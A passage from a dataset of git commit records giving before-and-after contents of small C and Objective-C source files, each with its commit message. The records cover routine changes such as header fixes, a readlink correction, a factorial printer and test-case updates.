kMagicalRecordImportAttributeValueClassNameKey;\n\nextern NSString * const kMagicalRecordImportRelationshipMapKey;\nextern NSString * const kMagicalRecordImportRelationshipLinkedByKey;\nextern NSString * const kMagicalRecordImportRelationshipTypeKey;\n\n@interface NSManagedObject (MagicalRecord_DataImport)\n\n+ (instancetype) MR_importFromObject:(id)data;\n+ (instancetype) MR_importFromObject:(id)data inContext:(NSManagedObjectContext *)context;\n\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData;\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData inContext:(NSManagedObjectContext *)context;\n\n@end\n\n@interface NSManagedObject (MagicalRecord_DataImportControls)\n\n- (BOOL) shouldImport:(id)data;\n- (void) willImport:(id)data;\n- (void) didImport:(id)data;\n\n@end\n","subject":"Remove unnecessarily public method from interface","message":"Remove unnecessarily public method from interface\n","lang":"C","license":"mit","repos":"naqi\/MagicalRecord,naqi\/MagicalRecord"}
{"commit":"2cb62ce24b2e2ddb3bc0ddcee36eb377c1c4b083","old_file":"TLLayoutTransitioning\/TLLayoutTransitioning.h","new_file":"TLLayoutTransitioning\/TLLayoutTransitioning.h","old_contents":"\/\/\n\/\/  TLLayoutTransitioning.h\n\/\/  TLLayoutTransitioning\n\/\/\n\/\/  Created by Tim Moose on 6\/29\/15.\n\/\/  Copyright (c) 2015 Tractable Labs. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for TLLayoutTransitioning.\nFOUNDATION_EXPORT double TLLayoutTransitioningVersionNumber;\n\n\/\/! Project version string for TLLayoutTransitioning.\nFOUNDATION_EXPORT const unsigned char TLLayoutTransitioningVersionString[];\n\n<TLLayoutTransitioning\/TLTransitionLayout.h>\n<TLLayoutTransitioning\/UICollectionView+TLTransitioning.h>\n\n\n","new_contents":"\/\/\n\/\/  TLLayoutTransitioning.h\n\/\/  TLLayoutTransitioning\n\/\/\n\/\/  Created by Tim Moose on 6\/29\/15.\n\/\/  Copyright (c) 2015 Tractable Labs. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for TLLayoutTransitioning.\nFOUNDATION_EXPORT double TLLayoutTransitioningVersionNumber;\n\n\/\/! Project version string for TLLayoutTransitioning.\nFOUNDATION_EXPORT const unsigned char TLLayoutTransitioningVersionString[];\n\n#import <TLLayoutTransitioning\/TLTransitionLayout.h>\n#import <TLLayoutTransitioning\/UICollectionView+TLTransitioning.h>\n\n\n","subject":"Fix typo in umbrella header","message":"Fix typo in umbrella header\n","lang":"C","license":"mit","repos":"wtmoose\/TLLayoutTransitioning"}
{"commit":"a44f98e67ef60d340e76d19e4c5a94ffb2279b0c","old_file":"src\/os\/Linux\/findself.c","new_file":"src\/os\/Linux\/findself.c","old_contents":"#include <unistd.h>\n#include <limits.h>\n\nchar *os_find_self(void)\n{\n    \/\/ Using PATH_MAX is generally bad, but that's what readlink() says it uses.\n    size_t size = PATH_MAX;\n    char *path = malloc(size);\n    if (readlink(\"\/proc\/self\/exe\", path, size) == 0) {\n        return path;\n    } else {\n        free(path);\n        return NULL;\n    }\n}\n\n","new_contents":"#include <unistd.h>\n#include <stdlib.h>\n\nchar *os_find_self(void)\n{\n    \/\/ PATH_MAX (used by readlink(2)) is not necessarily available\n    size_t size = 4096;\n    char *path = malloc(size);\n    size_t used = readlink(\"\/proc\/self\/exe\", path, size);\n    \/\/ need strictly less than size, or else we probably truncated\n    if (used < size) {\n        return path;\n    } else {\n        free(path);\n        return NULL;\n    }\n}\n\n","subject":"Mend improper use of readlink(2)","message":"Mend improper use of readlink(2)\n\nThe return-code checking for readlink(2) would never succeed before this\nchange.\n\nAlso avoid referencing a PATH_MAX that may be missing.\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"b7cfa9fd4b789b02d856edb23f2ee4b76fb7aeb8","old_file":"include\/inform\/inform.h","new_file":"include\/inform\/inform.h","old_contents":"","new_contents":"\/\/ Copyright 2016 ELIFE. All rights reserved.\n\/\/ Use of this source code is governed by a MIT\n\/\/ license that can be found in the LICENSE file.\n#pragma once\n\n#include <inform\/dist.h>\n#include <inform\/entropy.h>\n#include <inform\/state_encoding.h>\n#include <inform\/time_series.h>\n\n","subject":"Create an \"include all\" header for the project","message":"Create an \"include all\" header for the project\n","lang":"C","license":"mit","repos":"dglmoore\/Inform,ELIFE-ASU\/Inform,dglmoore\/Inform,ELIFE-ASU\/Inform"}
{"commit":"c0bde2429f69dd551c5c5d78b43e958b4b9370c9","old_file":"MGSFragariaTextViewDelegate.h","new_file":"MGSFragariaTextViewDelegate.h","old_contents":"\/\/\n\/\/  MGSFragariaTextViewDelegate.h\n\/\/  Fragaria\n\/\/\n\/\/  Created by Jim Derry on 2\/22\/15.\n\/\/\n\/\/\n\n\/**\n *  This protocol defines an interface for delegates that wish\n *  to receive notifications from Fragaria's text view.\n **\/\n#pragma mark - MGSFragariaTextViewDelegate Protocol\n@protocol MGSFragariaTextViewDelegate <NSObject>\n@optional\n\n\/**\n * This notification is send when the paste has been accepted. You can use\n * this delegate method to query the pasteboard for additional pasteboard content\n * that may be relevant to the application: eg: a plist that may contain custom data.\n * @param note is an NSNotification instance.\n **\/\n- (void)mgsTextDidPaste:(NSNotification *)note;\n\n@end\n\n\n","new_contents":"\/\/\n\/\/  MGSFragariaTextViewDelegate.h\n\/\/  Fragaria\n\/\/\n\/\/  Created by Jim Derry on 2\/22\/15.\n\/\/\n\/\/\n\n\/**\n *  This protocol defines an interface for delegates that wish\n *  to receive notifications from Fragaria's text view.\n **\/\n#pragma mark - MGSFragariaTextViewDelegate Protocol\n@protocol MGSFragariaTextViewDelegate <NSTextViewDelegate>\n@optional\n\n\/**\n * This notification is send when the paste has been accepted. You can use\n * this delegate method to query the pasteboard for additional pasteboard content\n * that may be relevant to the application: eg: a plist that may contain custom data.\n * @param note is an NSNotification instance.\n **\/\n- (void)mgsTextDidPaste:(NSNotification *)note;\n\n@end\n\n\n","subject":"Make Fragaria's text view delegate protocol compatible with NSTextViewDelegate.","message":"Make Fragaria's text view delegate protocol compatible with NSTextViewDelegate.\n","lang":"C","license":"apache-2.0","repos":"shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,vakoc\/Fragaria,bitstadium\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,vakoc\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,bitstadium\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria"}
{"commit":"10482dab9d045436ff3b0a97d92cc60aa80386ab","old_file":"factorial.c","new_file":"factorial.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"weecrypt.h\"\n\nvoid print_factorial(unsigned n);\n\nint\nmain(void)\n{\n\tchar buf[512];\n\tmpi_t fib;\n\tmpi_init(fib);\n\n\twhile (printf(\"Enter N: \") &&\n\t\t   fgets(buf, sizeof(buf), stdin)) {\n\t\tunsigned n = (unsigned)strtoul(buf, NULL, 10);\n\t\tif (!n)\n\t\t\tbreak;\n\t\tprint_factorial(n);\n\t}\n\n\treturn 0;\n}\n\nvoid print_factorial(unsigned n)\n{\n\tmpi_t f;\n\tmpi_init_u32(f, n);\n\tfor (unsigned m = 2; m < n; ++m) {\n\t\tmpi_mul_u32(f, m, f);\n\t}\n\tprintf(\"%u! = \", n), mpi_print_dec(f), printf(\"\\n\");\n\tprintf(\"As double: %g\\n\", mpi_get_d(f));\n\tmpi_free(f);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"weecrypt.h\"\n\nvoid print_factorial(unsigned n);\n\nint\nmain(void)\n{\n\tchar buf[512];\n\tmpi_t fib;\n\tmpi_init(fib);\n\n\twhile (printf(\"Enter N: \") &&\n\t\t   fgets(buf, sizeof(buf), stdin)) {\n\t\tunsigned n = (unsigned)strtoul(buf, NULL, 10);\n\t\tif (!n)\n\t\t\tbreak;\n\t\tprint_factorial(n);\n\t}\n\n\treturn 0;\n}\n\nvoid print_factorial(unsigned n)\n{\n\tmpi_t f;\n\tmpi_init_u32(f, n);\n\tprintf(\"%u! = \", n);\n\tfflush(stdout);\n\tfor (unsigned m = 2; m < n; ++m) {\n\t\tmpi_mul_u32(f, m, f);\n\t}\n\tmpi_print_dec(f), printf(\"\\n\");\n\tprintf(\"As double: %g\\n\", mpi_get_d(f));\n\tmpi_free(f);\n}\n","subject":"Print N before computing F(N)","message":"Print N before computing F(N)\n","lang":"C","license":"bsd-2-clause","repos":"fmela\/weecrypt,fmela\/weecrypt"}
{"commit":"43a0a428cd1d3a14cb110149c1e7207cd3362c7c","old_file":"DocFormats\/DFTypes.h","new_file":"DocFormats\/DFTypes.h","old_contents":"\/\/ Copyright 2012-2014 UX Productivity Pty Ltd\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef DocFormats_DFTypes_h\n#define DocFormats_DFTypes_h\n\n#ifdef _MSC_VER\n#define ATTRIBUTE_ALIGNED(n)\n#define ATTRIBUTE_FORMAT(archetype,index,first)\n#else\n#define ATTRIBUTE_ALIGNED(n) __attribute__ ((aligned (n)))\n#define ATTRIBUTE_FORMAT(archetype,index,first) __attribute__((format(archetype,index,first)))\n#endif\n\n#ifdef WIN32\n#define _CRT_SECURE_NO_WARNINGS\n#endif\n\n#include <sys\/types.h>\n#include <stdint.h>\n#include <stdarg.h>\n\n#endif\n","new_contents":"\/\/ Copyright 2012-2014 UX Productivity Pty Ltd\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef DocFormats_DFTypes_h\n#define DocFormats_DFTypes_h\n\n#ifdef _MSC_VER\n#define ATTRIBUTE_ALIGNED(n)\n#define ATTRIBUTE_FORMAT(archetype,index,first)\n#else\n#define ATTRIBUTE_ALIGNED(n) __attribute__ ((aligned (n)))\n#define ATTRIBUTE_FORMAT(archetype,index,first) __attribute__((format(archetype,index,first)))\n#endif\n\n#ifdef WIN32\n#define _CRT_SECURE_NO_WARNINGS\n#include <windows.h>\n#endif\n\n#include <sys\/types.h>\n#include <stdint.h>\n#include <stdarg.h>\n\n#endif\n","subject":"Include windows.h (indirectly) in all files","message":"Win32: Include windows.h (indirectly) in all files\n","lang":"C","license":"apache-2.0","repos":"corinthia\/corinthia-docformats,apache\/incubator-corinthia,apache\/incubator-corinthia,apache\/incubator-corinthia,corinthia\/corinthia-docformats,corinthia\/corinthia-docformats,apache\/incubator-corinthia,corinthia\/corinthia-docformats,apache\/incubator-corinthia,corinthia\/corinthia-docformats,apache\/incubator-corinthia,apache\/incubator-corinthia"}
{"commit":"45211b0254ead7397297746a80c5ec93c8c88f6d","old_file":"otherlibs\/unix\/setsid.c","new_file":"otherlibs\/unix\/setsid.c","old_contents":"\/**************************************************************************\/\n\/*                                                                        *\/\n\/*                                 OCaml                                  *\/\n\/*                                                                        *\/\n\/*             Xavier Leroy, projet Cristal, INRIA Rocquencourt           *\/\n\/*                                                                        *\/\n\/*   Copyright 1997 Institut National de Recherche en Informatique et     *\/\n\/*     en Automatique.                                                    *\/\n\/*                                                                        *\/\n\/*   All rights reserved.  This file is distributed under the terms of    *\/\n\/*   the GNU Lesser General Public License version 2.1, with the          *\/\n\/*   special exception on linking described in the file LICENSE.          *\/\n\/*                                                                        *\/\n\/**************************************************************************\/\n\n#include <caml\/fail.h>\n#include <caml\/mlvalues.h>\n#include \"unixsupport.h\"\n#ifdef HAS_UNISTD\n#include <unistd.h>\n#endif\n\nCAMLprim value unix_setsid(value unit)\n{\n#ifdef HAS_SETSID\n  return Val_int(setsid());\n#else\n  invalid_argument(\"setsid not implemented\");\n  return Val_unit;\n#endif\n}\n","new_contents":"\/**************************************************************************\/\n\/*                                                                        *\/\n\/*                                 OCaml                                  *\/\n\/*                                                                        *\/\n\/*             Xavier Leroy, projet Cristal, INRIA Rocquencourt           *\/\n\/*                                                                        *\/\n\/*   Copyright 1997 Institut National de Recherche en Informatique et     *\/\n\/*     en Automatique.                                                    *\/\n\/*                                                                        *\/\n\/*   All rights reserved.  This file is distributed under the terms of    *\/\n\/*   the GNU Lesser General Public License version 2.1, with the          *\/\n\/*   special exception on linking described in the file LICENSE.          *\/\n\/*                                                                        *\/\n\/**************************************************************************\/\n\n#include <caml\/fail.h>\n#include <caml\/mlvalues.h>\n#include \"unixsupport.h\"\n#ifdef HAS_UNISTD\n#include <unistd.h>\n#endif\n\nCAMLprim value unix_setsid(value unit)\n{\n#ifdef HAS_SETSID\n  return Val_int(setsid());\n#else\n  caml_invalid_argument(\"setsid not implemented\");\n  return Val_unit;\n#endif\n}\n","subject":"Remove use of compatibility macros in Cygwin-specific code.","message":"Remove use of compatibility macros in Cygwin-specific code.\n\nThis fixes PR #892 (commit 13945a71ed2616df9a4672cfc83f8f450ec437a8):\nthere was one compatibility macro remaining in Cygwin-specific code.\n","lang":"C","license":"lgpl-2.1","repos":"gerdstolpmann\/ocaml,msprotz\/ocaml,yunxing\/ocaml,yunxing\/ocaml,gerdstolpmann\/ocaml,msprotz\/ocaml,yunxing\/ocaml,gerdstolpmann\/ocaml,yunxing\/ocaml,gerdstolpmann\/ocaml,msprotz\/ocaml,yunxing\/ocaml,msprotz\/ocaml,gerdstolpmann\/ocaml,msprotz\/ocaml"}
{"commit":"3ff331a9af67827d17aea5cf75e2f49ee4cb36b9","old_file":"examples\/test\/testcases-v1\/test-control-in-out.c","new_file":"examples\/test\/testcases-v1\/test-control-in-out.c","old_contents":"\/\/ SPDX-License-Identifier: Apache-2.0\n\/\/ Copyright 2018 Eotvos Lorand University, Budapest, Hungary\n\n#include \"test.h\"\n\nfake_cmd_t t4p4s_testcase_test[][RTE_MAX_LCORE] = {\n    {\n        \/\/ table lookup hits\n        {FAKE_PKT, 0, 1, FDATA(\"AA00\"), 200, 123, FDATA(\"AA22\")},\n        \/\/ table lookup misses\n        {FAKE_PKT, 0, 1, FDATA(\"BB00\"), 200, 123, FDATA(\"BB44\")},\n\n        FEND,\n    },\n    {\n        FEND,\n    },\n};\n\ntestcase_t t4p4s_test_suite[MAX_TESTCASES] = {\n    { \"test\",           &t4p4s_testcase_test },\n    TEST_SUITE_END,\n};\n","new_contents":"\/\/ SPDX-License-Identifier: Apache-2.0\n\/\/ Copyright 2018 Eotvos Lorand University, Budapest, Hungary\n\n#include \"test.h\"\n\nfake_cmd_t t4p4s_testcase_test[][RTE_MAX_LCORE] =\n    SINGLE_LCORE(\n        \/\/ table lookup hits\n        FAST(1, 123, INOUT(\"AA00\", \"AA22\")),\n        WAIT_FOR_CTL,\n        WAIT_FOR_CTL,\n        WAIT_FOR_CTL,\n        \/\/ table lookup misses\n        FAST(1, 123, INOUT(\"BB00\", \"BB11\"))\n    );\n\ntestcase_t t4p4s_test_suite[MAX_TESTCASES] = {\n    { \"test\",           &t4p4s_testcase_test },\n    TEST_SUITE_END,\n};\n","subject":"Simplify and fix test case","message":"Simplify and fix test case\n","lang":"C","license":"apache-2.0","repos":"P4ELTE\/t4p4s,P4ELTE\/t4p4s,P4ELTE\/t4p4s"}
{"commit":"11e298829b132c9f192ff754845de178d736b8b2","old_file":"include\/System\/plugin.h","new_file":"include\/System\/plugin.h","old_contents":"\/* $Id$ *\/\n\/* Copyright (c) 2008-2014 Pierre Pronchery <khorben@defora.org> *\/\n\/* This file is part of DeforaOS System libSystem *\/\n\/* This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, version 3 of the License.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>. *\/\n\n\n\n#ifndef LIBSYSTEM_SYSTEM_PLUGIN_H\n# define LIBSYSTEM_SYSTEM_PLUGIN_H\n\n# include \"string.h\"\n\n\n\/* Plugin *\/\ntypedef void Plugin;\n\n\n\/* functions *\/\nPlugin * plugin_new(String const * libdir, String const * package,\n\t\tString const * type, String const * name);\nPlugin * plugin_new_self(void);\nvoid plugin_delete(Plugin * plugin);\n\n\n\/* useful *\/\nvoid * plugin_lookup(Plugin * plugin, String const * symbol);\n\n#endif \/* !LIBSYSTEM_SYSTEM_PLUGIN_H *\/\n","new_contents":"\/* $Id$ *\/\n\/* Copyright (c) 2008-2014 Pierre Pronchery <khorben@defora.org> *\/\n\/* This file is part of DeforaOS System libSystem *\/\n\/* This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, version 3 of the License.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>. *\/\n\n\n\n#ifndef LIBSYSTEM_SYSTEM_PLUGIN_H\n# define LIBSYSTEM_SYSTEM_PLUGIN_H\n\n# include \"license.h\"\n# include \"string.h\"\n\n\n\/* Plugin *\/\ntypedef void Plugin;\n\ntypedef struct _PluginHeader\n{\n\tchar const * name;\n\tchar const * icon;\n\tchar const * description;\n\tLicenseFlags license;\n} PluginHeader;\n\n\n\/* functions *\/\nPlugin * plugin_new(String const * libdir, String const * package,\n\t\tString const * type, String const * name);\nPlugin * plugin_new_self(void);\nvoid plugin_delete(Plugin * plugin);\n\n\n\/* useful *\/\nvoid * plugin_lookup(Plugin * plugin, String const * symbol);\n\n#endif \/* !LIBSYSTEM_SYSTEM_PLUGIN_H *\/\n","subject":"Define a standard header for plug-ins","message":"Define a standard header for plug-ins\n","lang":"C","license":"bsd-2-clause","repos":"DeforaOS\/libSystem,DeforaOS\/libSystem,DeforaOS\/libSystem"}
{"commit":"7f06a7c107b2051ff24cc6d40bbcf024538281cb","old_file":"include\/perfetto\/protozero\/contiguous_memory_range.h","new_file":"include\/perfetto\/protozero\/contiguous_memory_range.h","old_contents":"\/*\n * Copyright (C) 2017 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n#define INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n\n#include <assert.h>\n#include <stddef.h>\n#include <stdint.h>\n\nnamespace protozero {\n\n\/\/ Keep this struct trivially constructible (no ctors, no default initializers).\nstruct ContiguousMemoryRange {\n  uint8_t* begin;\n  uint8_t* end;  \/\/ STL style: one byte past the end of the buffer.\n\n  inline bool is_valid() const { return begin != nullptr; }\n  inline void reset() { begin = nullptr; }\n  inline size_t size() { return static_cast<size_t>(end - begin); }\n};\n\n}  \/\/ namespace protozero\n\n#endif  \/\/ INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n","new_contents":"\/*\n * Copyright (C) 2017 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n#define INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n\n#include <assert.h>\n#include <stddef.h>\n#include <stdint.h>\n\nnamespace protozero {\n\n\/\/ Keep this struct trivially constructible (no ctors, no default initializers).\nstruct ContiguousMemoryRange {\n  uint8_t* begin;\n  uint8_t* end;  \/\/ STL style: one byte past the end of the buffer.\n\n  inline bool is_valid() const { return begin != nullptr; }\n  inline void reset() { begin = nullptr; }\n  inline size_t size() const { return static_cast<size_t>(end - begin); }\n};\n\n}  \/\/ namespace protozero\n\n#endif  \/\/ INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n","subject":"Mark ContiguousMemoryRange::size as const. am: f2c28cd765 am: 1b5ab79b0b","message":"Mark ContiguousMemoryRange::size as const. am: f2c28cd765 am: 1b5ab79b0b\n\nChange-Id: I7516d6d8ab17209681d1925c9c2dacde0c2fcef1\n","lang":"C","license":"apache-2.0","repos":"google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto"}
{"commit":"4a243af780afa91bc45377560b469a15613a5125","old_file":"primitiv\/c\/cuda_device.h","new_file":"primitiv\/c\/cuda_device.h","old_contents":"#ifndef PRIMITIV_C_CUDA_DEVICE_H_\n#define PRIMITIV_C_CUDA_DEVICE_H_\n\n#include <primitiv\/c\/define.h>\n#include <primitiv\/c\/device.h>\n\n\/**\n * Creates a new Device object.\n * @param device_id ID of the physical GPU.\n * @param device Pointer to receive a handler.\n * @return Status code.\n * @remarks The random number generator is initialized using\n *          `std::random_device`.\n *\/\nextern PRIMITIV_C_API PRIMITIV_C_STATUS primitiv_devices_CUDA_new(\n    uint32_t device_id, primitiv_Device **device);\n\n\/**\n * Creates a new Device object.\n * @param device_id ID of the physical GPU.\n * @param rng_seed The seed value of the random number generator.\n * @param device Pointer to receive a handler.\n * @return Status code.\n *\/\nextern PRIMITIV_C_API PRIMITIV_C_STATUS primitiv_devices_CUDA_new_with_seed(\n    uint32_t device_id, uint32_t rng_seed, primitiv_Device **device);\n\n\/**\n * Retrieves the number of active hardwares.\n * @param num_devices Pointer to receive the number of active hardwares.\n * @return Status code.\n *\/\nextern PRIMITIV_C_API PRIMITIV_C_STATUS primitiv_devices_CUDA_num_devices(\n    uint32_t *num_devices);\n\n#endif  \/\/ PRIMITIV_C_CUDA_DEVICE_H_\n","new_contents":"#ifndef PRIMITIV_C_CUDA_DEVICE_H_\n#define PRIMITIV_C_CUDA_DEVICE_H_\n\n#include <primitiv\/c\/define.h>\n#include <primitiv\/c\/device.h>\n\n\/**\n * Creates a new Device object.\n * @param device_id ID of the physical GPU.\n * @param device Pointer to receive a handler.\n * @return Status code.\n * @remarks The random number generator is initialized using\n *          `std::random_device`.\n *\/\nPRIMITIV_C_API PRIMITIV_C_STATUS primitiv_devices_CUDA_new(\n    uint32_t device_id, primitiv_Device **device);\n\n\/**\n * Creates a new Device object.\n * @param device_id ID of the physical GPU.\n * @param rng_seed The seed value of the random number generator.\n * @param device Pointer to receive a handler.\n * @return Status code.\n *\/\nPRIMITIV_C_API PRIMITIV_C_STATUS primitiv_devices_CUDA_new_with_seed(\n    uint32_t device_id, uint32_t rng_seed, primitiv_Device **device);\n\n\/**\n * Retrieves the number of active hardwares.\n * @param num_devices Pointer to receive the number of active hardwares.\n * @return Status code.\n *\/\nPRIMITIV_C_API PRIMITIV_C_STATUS primitiv_devices_CUDA_num_devices(\n    uint32_t *num_devices);\n\n#endif  \/\/ PRIMITIV_C_CUDA_DEVICE_H_\n","subject":"Fix calling conventions around CUDA.","message":"Fix calling conventions around CUDA.\n","lang":"C","license":"apache-2.0","repos":"odashi\/primitiv,odashi\/primitiv,odashi\/primitiv"}
{"commit":"f7b356f345a1b91410181d228855552ec0431c76","old_file":"Framework\/MZFormSheetPresentationControllerFramework.h","new_file":"Framework\/MZFormSheetPresentationControllerFramework.h","old_contents":"\/\/\n\/\/  MZFormSheetPresentationControllerFramework.h\n\/\/  MZFormSheetPresentationControllerFramework\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for MZFormSheetPresentation.\nFOUNDATION_EXPORT double MZFormSheetPresentationControllerVersionNumber;\n\n\/\/! Project version string for MZFormSheetPresentation.\nFOUNDATION_EXPORT const unsigned char MZFormSheetPresentationControllerVersionString[];\n\n\/\/ In this header, you should import all the public headers of \n\/\/ your framework using statements like \n\/\/ #import <MZFormSheetPresentationController\/PublicHeader.h>\n\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationController.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewController.h>\n\n#import <MZFormSheetPresentationController\/MZTransition.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewControllerAnimator.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewControllerAnimatedTransitioning.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewControllerInteractiveAnimator.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewControllerInteractiveTransitioning.h>\n\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationContentSizing.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewControllerSegue.h>\n","new_contents":"\/\/\n\/\/  MZFormSheetPresentationControllerFramework.h\n\/\/  MZFormSheetPresentationControllerFramework\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for MZFormSheetPresentation.\nFOUNDATION_EXPORT double MZFormSheetPresentationControllerVersionNumber;\n\n\/\/! Project version string for MZFormSheetPresentation.\nFOUNDATION_EXPORT const unsigned char MZFormSheetPresentationControllerVersionString[];\n\n\/\/ In this header, you should import all the public headers of \n\/\/ your framework using statements like \n\/\/ #import <MZFormSheetPresentationController\/PublicHeader.h>\n\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationController.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewController.h>\n\n#import <MZFormSheetPresentationController\/MZTransition.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewControllerAnimator.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewControllerAnimatedTransitioning.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewControllerInteractiveAnimator.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewControllerInteractiveTransitioning.h>\n\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationContentSizing.h>\n#import <MZFormSheetPresentationController\/MZFormSheetPresentationViewControllerSegue.h>\n\n#import <MZFormSheetPresentationController\/MZBlurEffectAdapter.h>\n","subject":"Add MZBlurEffectAdapter.h to umbrella header","message":"Add MZBlurEffectAdapter.h to umbrella header\n","lang":"C","license":"mit","repos":"m1entus\/MZFormSheetPresentationController,m1entus\/MZFormSheetPresentationController"}
{"commit":"0e1a86e027b7c58adc7fa9082093a2e42113c2f3","old_file":"WordPressCom-Stats-iOS\/StatsGroup.h","new_file":"WordPressCom-Stats-iOS\/StatsGroup.h","old_contents":"#import <Foundation\/Foundation.h>\n\n@interface StatsGroup : NSObject\n\n@property (nonatomic, strong)   NSArray *items; \/\/ StatsItem\n@property (nonatomic, assign)   BOOL moreItemsExist;\n@property (nonatomic, copy)     NSString *titlePrimary;\n@property (nonatomic, copy)     NSString *titleSecondary;\n@property (nonatomic, strong)   NSURL *iconUrl;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n@interface StatsGroup : NSObject\n\n@property (nonatomic, strong)   NSArray *items; \/\/ StatsItem\n@property (nonatomic, copy)     NSString *titlePrimary;\n@property (nonatomic, copy)     NSString *titleSecondary;\n@property (nonatomic, strong)   NSURL *iconUrl;\n\n@end\n","subject":"Revert \"Added moreItems boolean to data model for a group\"","message":"Revert \"Added moreItems boolean to data model for a group\"\n\nThis reverts commit ddbdfa290670584080d841244b53d6d3ede11de3.\n","lang":"C","license":"mit","repos":"wordpress-mobile\/WordPressCom-Stats-iOS,wordpress-mobile\/WordPressCom-Stats-iOS"}
